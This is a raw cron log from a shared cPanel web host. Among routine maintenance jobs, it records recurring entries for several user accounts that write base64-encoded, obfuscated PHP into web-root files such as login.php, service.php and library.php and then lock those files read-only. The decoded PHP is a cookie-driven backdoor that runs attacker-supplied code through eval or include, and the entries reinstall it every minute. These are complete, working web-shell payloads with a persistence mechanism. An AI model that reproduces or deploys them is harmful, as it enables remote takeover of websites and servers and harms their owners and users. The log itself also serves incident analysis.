Mar  2 10:25:01 medusa CROND[10464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:25:01 medusa CROND[10463]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:25:01 medusa CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:26:02 medusa CROND[28219]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:26:02 medusa CROND[28220]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:26:02 medusa CROND[28221]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:26:02 medusa CROND[28222]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:26:02 medusa CROND[28225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:26:02 medusa CROND[28226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:26:02 medusa CROND[28232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:26:02 medusa CROND[28229]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:26:02 medusa CROND[28249]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:26:02 medusa CROND[28259]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:26:02 medusa CROND[28260]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:26:02 medusa CROND[28261]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:26:02 medusa CROND[28262]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:26:02 medusa CROND[28268]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:27:01 medusa CROND[10233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:27:02 medusa CROND[10301]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:27:02 medusa CROND[10302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:27:02 medusa CROND[10303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:27:02 medusa CROND[10307]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:27:02 medusa CROND[10306]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:27:02 medusa CROND[10309]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:27:02 medusa CROND[10311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:27:02 medusa CROND[10310]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:27:02 medusa CROND[10312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:27:02 medusa CROND[10327]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:27:02 medusa CROND[10328]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:28:01 medusa CROND[24549]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:28:02 medusa CROND[24720]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:28:02 medusa CROND[24755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:28:02 medusa CROND[24754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:28:02 medusa CROND[24756]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:28:02 medusa CROND[24757]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
